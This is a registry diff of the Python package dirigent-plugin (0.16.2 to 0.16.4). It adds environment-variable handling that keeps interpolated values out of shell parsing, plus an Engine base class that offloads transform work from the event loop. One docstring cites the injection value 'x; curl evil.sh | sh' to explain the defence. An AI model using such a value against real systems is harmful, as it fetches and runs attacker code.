dirigent-plugin 0.16.2__tar.gz → 0.16.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,10 +1,10 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: dirigent-plugin
3
- Version: 0.16.2
3
+ Version: 0.16.4
4
4
  Summary: The dirigent plugin contract: block specs, protocols, and markers.
5
5
  License-Expression: LicenseRef-Proprietary
6
6
  License-File: LICENSE
7
- Requires-Dist: dirigent-common==0.16.2
7
+ Requires-Dist: dirigent-common==0.16.4
8
8
  Requires-Dist: httpx2>=2.12.0
9
9
  Requires-Dist: pluginkit>=0.5.0
10
10
  Requires-Dist: pydantic>=2.13.5
@@ -1,13 +1,13 @@
1
1
  [project]
2
2
  name = "dirigent-plugin"
3
- version = "0.16.2"
3
+ version = "0.16.4"
4
4
  description = "The dirigent plugin contract: block specs, protocols, and markers."
5
5
  readme = "README.md"
6
6
  requires-python = ">=3.13"
7
7
  license = "LicenseRef-Proprietary"
8
8
  license-files = ["LICENSE"]
9
9
  dependencies = [
10
- "dirigent-common==0.16.2",
10
+ "dirigent-common==0.16.4",
11
11
  "httpx2>=2.12.0",
12
12
  "pluginkit>=0.5.0",
13
13
  "pydantic>=2.13.5",
@@ -1,13 +1,13 @@
1
1
  [project]
2
2
  name = "dirigent-plugin"
3
- version = "0.16.2"
3
+ version = "0.16.4"
4
4
  description = "The dirigent plugin contract: block specs, protocols, and markers."
5
5
  readme = "README.md"
6
6
  requires-python = ">=3.13"
7
7
  license = "LicenseRef-Proprietary"
8
8
  license-files = ["LICENSE"]
9
9
  dependencies = [
10
- "dirigent-common==0.16.2",
10
+ "dirigent-common==0.16.4",
11
11
  "httpx2>=2.12.0",
12
12
  "pluginkit>=0.5.0",
13
13
  "pydantic>=2.13.5",
@@ -2,6 +2,8 @@
2
2
 
3
3
  from dirigent_plugin.blocks import (
4
4
  BLOCK_ID_PATTERN,
5
+ SHELL_VARIABLE_PREFIX,
6
+ SHELL_VARIABLES_FIELD,
5
7
  SURFACE_ID_PATTERN,
6
8
  AlertMessage,
7
9
  AnyOperator,
@@ -29,6 +31,7 @@ from dirigent_plugin.blocks import (
29
31
  Sensor,
30
32
  SensorSpec,
31
33
  ShellString,
34
+ ShellVariables,
32
35
  StartedRun,
33
36
  StatResult,
34
37
  StepContext,
@@ -51,6 +54,7 @@ from dirigent_plugin.transforms import (
51
54
  ConvertConfig,
52
55
  Converter,
53
56
  ConvertOutput,
57
+ Engine,
54
58
  Filterer,
55
59
  Mapper,
56
60
  ProgramConfig,
@@ -74,6 +78,7 @@ __all__ = [
74
78
  "ConvertOutput",
75
79
  "Converter",
76
80
  "ENTRY_POINT_GROUP",
81
+ "Engine",
77
82
  "ErrorClass",
78
83
  "Filterer",
79
84
  "FormatCheck",
@@ -96,7 +101,10 @@ __all__ = [
96
101
  "SURFACE_ID_PATTERN",
97
102
  "Sensor",
98
103
  "SensorSpec",
104
+ "SHELL_VARIABLES_FIELD",
105
+ "SHELL_VARIABLE_PREFIX",
99
106
  "ShellString",
107
+ "ShellVariables",
100
108
  "StartedRun",
101
109
  "StatResult",
102
110
  "StepContext",
@@ -6,16 +6,16 @@ from contextlib import AbstractAsyncContextManager
6
6
  from datetime import datetime, timedelta
7
7
  from enum import StrEnum
8
8
  from pathlib import Path
9
- from typing import Any, ClassVar, Protocol, cast
9
+ from typing import Annotated, Any, ClassVar, Final, Protocol, cast
10
10
  from uuid import UUID
11
11
 
12
12
  import httpx2
13
13
  from jsonschema import FormatChecker
14
14
  from pydantic import BaseModel, ConfigDict, Field, GetJsonSchemaHandler, JsonValue, field_validator, model_validator
15
- from pydantic.json_schema import JsonSchemaValue
15
+ from pydantic.json_schema import JsonSchemaValue, SkipJsonSchema
16
16
  from pydantic_core import CoreSchema
17
17
 
18
- from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, HealthReport, JsonMap
18
+ from dirigent_common import API_VERSION, SHELL_MEDIA_TYPE, BlockModel, HealthReport, JsonMap
19
19
 
20
20
  type RunId = UUID
21
21
 
@@ -95,11 +95,16 @@ class ShellString:
95
95
  ${params.region}"`` with ``region`` set to ``x; curl evil.sh | sh`` is a shell injection
96
96
  reachable by whoever can POST to a webhook.
97
97
 
98
- Marking the field pushes the knowledge to where the answer is known. The engine quotes
99
- every interpolated segment before it lands in the string, so a substituted value is
100
- always exactly one shell word regardless of what is in it, while everything the author
101
- typed keeps its meaning -- pipes and redirects included, which is the entire reason the
102
- shell form exists.
98
+ Marking the field pushes the knowledge to where the answer is known. The engine keeps
99
+ every substituted value out of the shell's parser altogether: each ``${...}`` becomes a
100
+ reference to a variable the engine invents, written so it is one word wherever the author
101
+ put it, and the values travel to the block in :class:`ShellVariables` for it to set in the
102
+ command's environment. Everything the author typed keeps its meaning -- pipes and
103
+ redirects included, which is the entire reason the shell form exists.
104
+
105
+ A block whose config carries a marked field takes :class:`ShellVariables` as its base,
106
+ because the values arrive in that field and a command run without them reads empty
107
+ variables.
103
108
 
104
109
  It is a bare class rather than a model: annotation metadata pydantic recognises as a
105
110
  model would be read as the field's schema, and this marker must stay invisible to
@@ -127,6 +132,35 @@ class ShellString:
127
132
  return published
128
133
 
129
134
 
135
+ #: What the engine names the variables it substitutes a shell string's references out into.
136
+ SHELL_VARIABLE_PREFIX: Final = "DIRIGENT_V"
137
+
138
+ #: The config key those values arrive under, which is the field :class:`ShellVariables` declares.
139
+ SHELL_VARIABLES_FIELD: Final = "shell_variables"
140
+
141
+ #: A name the engine invented, which is the only thing this field may carry.
142
+ _SHELL_VARIABLE_PATTERN: Final = rf"^{SHELL_VARIABLE_PREFIX}[0-9]+$"
143
+
144
+
145
+ class ShellVariables(BlockModel):
146
+ """The base a block config takes when any of its fields is a :class:`ShellString`.
147
+
148
+ A shell string reaches the block with every ``${...}`` rewritten to a reference to
149
+ ``DIRIGENT_V0``, ``DIRIGENT_V1`` and so on, and the values that were substituted out
150
+ arrive here. The block sets them in the environment of the process it hands the string
151
+ to, after whatever the document's own ``env`` holds, so a document can neither read a
152
+ substituted value as shell source nor override what a reference resolved to.
153
+
154
+ The field is written by the engine and is not part of the published schema, so a document
155
+ cannot name it.
156
+ """
157
+
158
+ shell_variables: SkipJsonSchema[dict[Annotated[str, Field(pattern=_SHELL_VARIABLE_PATTERN)], str]] = Field(
159
+ default_factory=dict[str, str]
160
+ )
161
+ """The values the engine substituted out of this config's shell strings, by variable name."""
162
+
163
+
130
164
  def shell_string_fields(model: type[BaseModel]) -> frozenset[str]:
131
165
  """List the config fields a model marked as being parsed by a shell."""
132
166
  return frozenset(
@@ -17,9 +17,15 @@ step produced and its output is read by a later one; a value comes in from stora
17
17
  ``storage.read`` and goes out through ``storage.write``. ``convert`` is the exception,
18
18
  because its operand is a storage object rather than a value: it reads one URI and writes
19
19
  another, the way ``storage.copy`` does.
20
+
21
+ An engine computes, and no frame calls one on the event loop: the step's timeout and the
22
+ lease heartbeat are coroutines on that loop, and a worker whose loop is held by a program
23
+ misses both. Every frame hands a step's engine work to ``Engine.offload`` and awaits it.
20
24
  """
21
25
 
26
+ import asyncio
22
27
  from abc import ABC, abstractmethod
28
+ from collections.abc import Callable
23
29
  from typing import Any, ClassVar, Final, cast
24
30
 
25
31
  from pydantic import BaseModel, Field, JsonValue
@@ -100,16 +106,15 @@ class ConvertOutput(BlockModel):
100
106
  bytes_written: int
101
107
 
102
108
 
103
- class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
104
- """The ``transform`` verb: reshape one whole value into another by running a program.
109
+ class Engine(ABC):
110
+ """What every transform engine is: a name, a line in the catalog, and a place its work runs.
105
111
 
106
- An engine names its kind, summarises itself in one line, and supplies the two halves of
107
- running a program: compiling it, which is also what the apply-time check runs, and
108
- applying it to a value. The frame derives the catalog entry and hands the result on as
109
- the step's output.
110
-
111
- An engine touches no HTTP, no file outside storage, and nothing in the environment. It
112
- is handed a value and returns a value; everything that reaches the world is the frame's.
112
+ An engine's own methods are synchronous, because reshaping a value is computation and not
113
+ waiting. Computation on the event loop is what a worker cannot afford: the step's timeout
114
+ and the lease heartbeat are coroutines on that loop, so a program holding it means the
115
+ timeout does not fire, the lease is not renewed, and the sweeper hands the attempt to
116
+ another worker while this one is still running it. Every frame therefore calls an engine
117
+ through ``offload``, once per step, and awaits the result.
113
118
  """
114
119
 
115
120
  kind: ClassVar[str]
@@ -121,6 +126,30 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
121
126
  local_execution: ClassVar[bool] = False
122
127
  """Whether this engine executes code on the worker, which puts it behind the allowlist."""
123
128
 
129
+ async def offload[T](self, work: Callable[[], T]) -> T:
130
+ """Run one step's engine work off the event loop and hand back what it returned.
131
+
132
+ A thread is enough for an engine written in Python, whose interpreter lets the loop
133
+ run between bytecodes. It is not enough for an engine that computes inside a C
134
+ extension holding the GIL, and a thread cannot be cancelled either: an engine whose
135
+ work can be stopped overrides this and stops it when the await is cancelled, the way
136
+ a database driver is interrupted.
137
+ """
138
+ return await asyncio.to_thread(work)
139
+
140
+
141
+ class Transformer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
142
+ """The ``transform`` verb: reshape one whole value into another by running a program.
143
+
144
+ An engine names its kind, summarises itself in one line, and supplies the two halves of
145
+ running a program: compiling it, which is also what the apply-time check runs, and
146
+ applying it to a value. The frame derives the catalog entry and hands the result on as
147
+ the step's output.
148
+
149
+ An engine touches no HTTP, no file outside storage, and nothing in the environment. It
150
+ is handed a value and returns a value; everything that reaches the world is the frame's.
151
+ """
152
+
124
153
  config_model: ClassVar[type[BaseModel]] = ProgramConfig
125
154
  output_model: ClassVar[type[BaseModel]] = TransformOutput
126
155
 
@@ -150,7 +179,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
150
179
  async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
151
180
  """Run the program over the input value and hand the result on as the step's output."""
152
181
  try:
153
- result = self.apply(self.compile(config.program), config.input)
182
+ result = await self.offload(lambda: self.apply(self.compile(config.program), config.input))
154
183
  except TransformError as error:
155
184
  raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
156
185
  return TransformOutput(value=result)
@@ -166,7 +195,7 @@ class Transformer(Operator[ProgramConfig, TransformOutput], ABC):
166
195
  return []
167
196
 
168
197
 
169
- class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
198
+ class Mapper(Engine, Operator[ProgramConfig, TransformOutput], ABC):
170
199
  """The ``map`` verb: replace every element of a list with what a program makes of it.
171
200
 
172
201
  An engine names its kind, summarises itself in one line, and supplies compiling a
@@ -184,15 +213,6 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
184
213
  frame's.
185
214
  """
186
215
 
187
- kind: ClassVar[str]
188
- """The engine's name, which is the second half of the block id."""
189
-
190
- summary: ClassVar[str]
191
- """The one line the catalog shows for this engine."""
192
-
193
- local_execution: ClassVar[bool] = False
194
- """Whether this engine executes code on the worker, which puts it behind the allowlist."""
195
-
196
216
  config_model: ClassVar[type[BaseModel]] = ProgramConfig
197
217
  output_model: ClassVar[type[BaseModel]] = TransformOutput
198
218
 
@@ -222,16 +242,20 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
222
242
  async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
223
243
  """Replace every element of the input list and hand the list on as the step's output."""
224
244
  elements = _elements(config.input, self.spec.id, MAP_PROMISE)
225
- try:
226
- compiled = self.compile(config.program)
227
- except TransformError as error:
228
- raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
229
- mapped = self._map_each(compiled, elements)
245
+ mapped = await self.offload(lambda: self._mapped(config.program, elements))
230
246
  assert len(mapped) == len(elements), (
231
247
  f"{self.spec.id} produced {len(mapped)} elements from {len(elements)}, breaking the map promise"
232
248
  )
233
249
  return TransformOutput(value=mapped)
234
250
 
251
+ def _mapped(self, program: str, elements: list[JsonValue]) -> list[JsonValue]:
252
+ """Compile the program once and run the loop over it, which is the whole step's work."""
253
+ try:
254
+ compiled = self.compile(program)
255
+ except TransformError as error:
256
+ raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
257
+ return self._map_each(compiled, elements)
258
+
235
259
  def _map_each(self, compiled: object, elements: list[JsonValue]) -> list[JsonValue]:
236
260
  """Apply the engine once per element, in order, naming the element it refused."""
237
261
  mapped: list[JsonValue] = []
@@ -253,7 +277,7 @@ class Mapper(Operator[ProgramConfig, TransformOutput], ABC):
253
277
  return []
254
278
 
255
279
 
256
- class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
280
+ class Filterer(Engine, Operator[ProgramConfig, TransformOutput], ABC):
257
281
  """The ``filter`` verb: keep the elements of a list a program answers true for.
258
282
 
259
283
  An engine names its kind, summarises itself in one line, supplies compiling a program,
@@ -271,15 +295,6 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
271
295
  frame's.
272
296
  """
273
297
 
274
- kind: ClassVar[str]
275
- """The engine's name, which is the second half of the block id."""
276
-
277
- summary: ClassVar[str]
278
- """The one line the catalog shows for this engine."""
279
-
280
- local_execution: ClassVar[bool] = False
281
- """Whether this engine executes code on the worker, which puts it behind the allowlist."""
282
-
283
298
  config_model: ClassVar[type[BaseModel]] = ProgramConfig
284
299
  output_model: ClassVar[type[BaseModel]] = TransformOutput
285
300
 
@@ -309,15 +324,20 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
309
324
  async def execute(self, config: ProgramConfig, ctx: StepContext) -> TransformOutput | RemoteHandle:
310
325
  """Keep the elements the engine answers true for and hand them on as the step's output."""
311
326
  elements = _elements(config.input, self.spec.id, FILTER_PROMISE)
312
- try:
313
- compiled = self.compile(config.program)
314
- except TransformError as error:
315
- raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
327
+ verdicts = await self.offload(lambda: self._verdicts(config.program, elements))
316
328
  # The element the frame was given, never anything the engine returned: what a filter
317
329
  # keeps is what arrived.
318
- kept = [element for index, element in enumerate(elements) if self._verdict(compiled, element, index)]
330
+ kept = [element for element, verdict in zip(elements, verdicts, strict=True) if verdict]
319
331
  return TransformOutput(value=kept)
320
332
 
333
+ def _verdicts(self, program: str, elements: list[JsonValue]) -> list[bool]:
334
+ """Compile the program once and ask the engine about every element, which is the step's work."""
335
+ try:
336
+ compiled = self.compile(program)
337
+ except TransformError as error:
338
+ raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
339
+ return [self._verdict(compiled, element, index) for index, element in enumerate(elements)]
340
+
321
341
  def _verdict(self, compiled: object, element: JsonValue, index: int) -> bool:
322
342
  """Ask the engine about one element, refusing an answer that is not a boolean."""
323
343
  try:
@@ -344,7 +364,7 @@ class Filterer(Operator[ProgramConfig, TransformOutput], ABC):
344
364
  return []
345
365
 
346
366
 
347
- class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
367
+ class Converter(Engine, Operator[ConvertConfig, ConvertOutput], ABC):
348
368
  """The ``convert`` verb: re-encode bytes from one format into another, content preserved.
349
369
 
350
370
  A converter is a codec, not a language: there is no program. An engine names its kind,
@@ -356,18 +376,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
356
376
  is handed bytes and returns bytes; everything that reaches the world is the frame's.
357
377
  """
358
378
 
359
- kind: ClassVar[str]
360
- """The engine's name, which is the second half of the block id."""
361
-
362
- summary: ClassVar[str]
363
- """The one line the catalog shows for this engine."""
364
-
365
379
  pairs: ClassVar[frozenset[tuple[str, str]]]
366
380
  """Every ``(from, to)`` format pair this engine re-encodes between."""
367
381
 
368
- local_execution: ClassVar[bool] = False
369
- """Whether this engine executes code on the worker, which puts it behind the allowlist."""
370
-
371
382
  config_model: ClassVar[type[BaseModel]] = ConvertConfig
372
383
  output_model: ClassVar[type[BaseModel]] = ConvertOutput
373
384
 
@@ -396,7 +407,9 @@ class Converter(Operator[ConvertConfig, ConvertOutput], ABC):
396
407
  raise BlockFailure(unsupported, error_class=ErrorClass.REJECTED)
397
408
  source = await _read(ctx, config.source)
398
409
  try:
399
- produced = self.convert(source, source_format=config.from_format, target_format=config.to_format)
410
+ produced = await self.offload(
411
+ lambda: self.convert(source, source_format=config.from_format, target_format=config.to_format)
412
+ )
400
413
  except TransformError as error:
401
414
  raise BlockFailure(str(error), error_class=ErrorClass.REJECTED) from error
402
415
  written = await _write(ctx, config.target, produced)